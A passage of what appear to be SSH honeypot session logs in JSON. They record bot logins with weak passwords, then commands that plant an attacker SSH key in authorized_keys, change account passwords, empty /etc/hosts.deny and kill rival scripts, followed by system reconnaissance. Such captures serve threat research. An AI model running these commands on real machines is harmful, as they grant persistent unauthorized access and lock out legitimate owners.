Processor"},{"seq":9,"at":"2026-08-26T17:02:28.389455+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:02:29.715394+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:02:30.235698+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:02:31.331289+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:02:31.854423+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:02:32.388102+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:02:32.916745+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:02:33.279936+00:00","kind":"output","latency_ms":null,"data":" 17:02:33 up 6 days, 13:52, 0 user, load average: 0.29, 0.37, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:02:33.799582+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:02:34.641916+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:02:35.167593+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:02:35.726452+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:02:36.250348+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:02:36.773176+00:00","kind":"output","latency_ms":null,"data":"top - 17:02:36 up 6 days, 13:52, 0 user, load average: 0.29, 0.37, 0.24\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:02:37.299336+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:02:38.167894+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:02:38.695775+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:02:39.243279+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:02:39.769706+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:02:40.207366+00:00","kind":"output","latency_ms":null,"data":"metabase"},{"seq":29,"at":"2026-08-26T17:02:40.735106+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:02:42.188749+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:02:42.710254+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:02:43.985825+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"metabase","password":"metabase","method":"password","accepted":true,"tier":"other"}]} {"id":"b08d1268-1073-4121-9931-19eb832d67e7","name":"freckled-thorny-gerbil","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":33064,"username":"jupyter","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":528,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T16:59:41.891718+00:00","ended_at":"2026-08-26T16:59:43.572865+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2243,"events":[{"seq":1,"at":"2026-08-26T16:59:19.606132+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T16:59:20.135398+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T16:59:24.862346+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T16:59:25.278706+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T16:59:25.810170+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\n69PQ6YFGQVho\\n69PQ6YFGQVho\"|passwd|bash"},{"seq":6,"at":"2026-08-26T16:59:26.332308+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\n69PQ6YFGQVho\\n69PQ6YFGQVho\\n\"|passwd"},{"seq":7,"at":"2026-08-26T16:59:26.853610+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T16:59:27.519804+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T16:59:28.045146+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T16:59:29.367388+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T16:59:29.896106+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T16:59:31.293165+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T16:59:31.819231+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T16:59:32.214133+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T16:59:32.733476+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T16:59:33.278040+00:00","kind":"output","latency_ms":null,"data":" 16:59:33 up 6 days, 13:49, 0 user, load average: 0.06, 0.06, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T16:59:33.814255+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T16:59:34.187341+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T16:59:34.719317+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T16:59:35.397255+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T16:59:35.918125+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T16:59:36.797767+00:00","kind":"output","latency_ms":null,"data":"top - 16:59:36 up 6 days, 13:49, 0 user, load average: 0.06, 0.06, 0.06\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T16:59:37.330221+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T16:59:37.702398+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T16:59:38.231242+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T16:59:38.610616+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T16:59:39.137833+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T16:59:39.878443+00:00","kind":"output","latency_ms":null,"data":"jupyter"},{"seq":29,"at":"2026-08-26T16:59:40.404493+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T16:59:41.363879+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T16:59:41.892245+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T16:59:43.399844+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"jupyter","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"b64052af-e251-4e94-bc05-5ff4676c7fa5","name":"dusky-tawny-parakeet","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":53834,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":534,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T16:56:41.435014+00:00","ended_at":"2026-08-26T16:56:42.891316+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2282,"events":[{"seq":1,"at":"2026-08-26T16:56:16.224503+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T16:56:16.769258+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T16:56:22.869265+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T16:56:23.317027+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T16:56:23.842002+00:00","kind":"input","latency_ms":null,"data":"echo \"root:gMv5Rz0Tb3by\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T16:56:24.383597+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T16:56:24.927052+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T16:56:25.769432+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T16:56:26.294240+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T16:56:27.609570+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T16:56:28.146080+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T16:56:29.515908+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T16:56:30.049223+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T16:56:30.608209+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T16:56:31.155099+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T16:56:32.014557+00:00","kind":"output","latency_ms":null,"data":" 16:56:32 up 6 days, 13:46, 0 user, load average: 0.08, 0.06, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T16:56:32.552347+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T16:56:33.337060+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T16:56:33.871559+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T16:56:34.242594+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T16:56:34.775150+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T16:56:35.613555+00:00","kind":"output","latency_ms":null,"data":"top - 16:56:35 up 6 days, 13:46, 0 user, load average: 0.08, 0.06, 0.06\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T16:56:36.138922+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T16:56:36.499056+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T16:56:37.039709+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T16:56:37.803688+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T16:56:38.355110+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T16:56:38.863345+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T16:56:39.406079+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T16:56:40.902241+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T16:56:41.435773+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T16:56:42.724556+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"asdf1234!@#$","method":"password","accepted":true,"tier":"other"}]} {"id":"24cde9e0-a18e-47da-b329-6317d940d3bf","name":"stoic-hearty-lemur","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":43112,"username":"jenny1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":530,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T16:53:36.175527+00:00","ended_at":"2026-08-26T16:53:37.626016+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2220,"events":[{"seq":1,"at":"2026-08-26T16:53:12.875348+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T16:53:13.402826+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T16:53:19.519474+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T16:53:20.174717+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T16:53:20.705835+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\n9T0ErRJUe7h8\\n9T0ErRJUe7h8\"|passwd|bash"},{"seq":6,"at":"2026-08-26T16:53:21.227800+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\n9T0ErRJUe7h8\\n9T0ErRJUe7h8\\n\"|passwd"},{"seq":7,"at":"2026-08-26T16:53:21.749747+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T16:53:22.069576+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T16:53:22.598100+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T16:53:23.948503+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T16:53:24.478362+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T16:53:25.373174+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T16:53:25.904001+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T16:53:26.761529+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T16:53:27.288244+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T16:53:27.772388+00:00","kind":"output","latency_ms":null,"data":" 16:53:27 up 6 days, 13:43, 0 user, load average: 0.15, 0.19, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T16:53:28.295414+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T16:53:28.917200+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T16:53:29.440894+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T16:53:29.793126+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T16:53:30.347761+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T16:53:30.637188+00:00","kind":"output","latency_ms":null,"data":"top - 16:53:30 up 6 days, 13:43, 0 user, load average: 0.15, 0.19, 0.12\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T16:53:31.167758+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T16:53:31.646182+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T16:53:32.182205+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T16:53:32.610213+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T16:53:33.142080+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T16:53:33.739946+00:00","kind":"output","latency_ms":null,"data":"jenny1"},{"seq":29,"at":"2026-08-26T16:53:34.277028+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T16:53:35.653791+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T16:53:36.176444+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T16:53:37.456864+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"jenny1","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"815c960d-2ca0-4ed4-8fa8-222a00322bf7","name":"stoic-sincere-waxwing","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":43722,"username":"store","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":525,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T16:50:37.663189+00:00","ended_at":"2026-08-26T16:50:39.241651+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2206,"events":[{"seq":1,"at":"2026-08-26T16:50:15.555201+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T16:50:16.080290+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T16:50:20.501032+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T16:50:21.340428+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T16:50:21.866585+00:00","kind":"input","latency_ms":null,"data":"echo -e \"store\\n3bmTMfRIpFI7\\n3bmTMfRIpFI7\"|passwd|bash"},{"seq":6,"at":"2026-08-26T16:50:22.387735+00:00","kind":"input","latency_ms":null,"data":"echo \"store\\n3bmTMfRIpFI7\\n3bmTMfRIpFI7\\n\"|passwd"},{"seq":7,"at":"2026-08-26T16:50:22.909513+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T16:50:23.492506+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T16:50:24.012388+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T16:50:25.536249+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T16:50:26.062351+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T16:50:26.989033+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T16:50:27.524571+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T16:50:28.382160+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T16:50:28.906492+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T16:50:29.544964+00:00","kind":"output","latency_ms":null,"data":" 16:50:29 up 6 days, 13:40, 0 user, load average: 0.12, 0.14, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T16:50:30.071798+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T16:50:30.377786+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T16:50:30.911158+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T16:50:31.806214+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T16:50:32.340344+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T16:50:32.763732+00:00","kind":"output","latency_ms":null,"data":"top - 16:50:32 up 6 days, 13:40, 0 user, load average: 0.12, 0.14, 0.09\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU 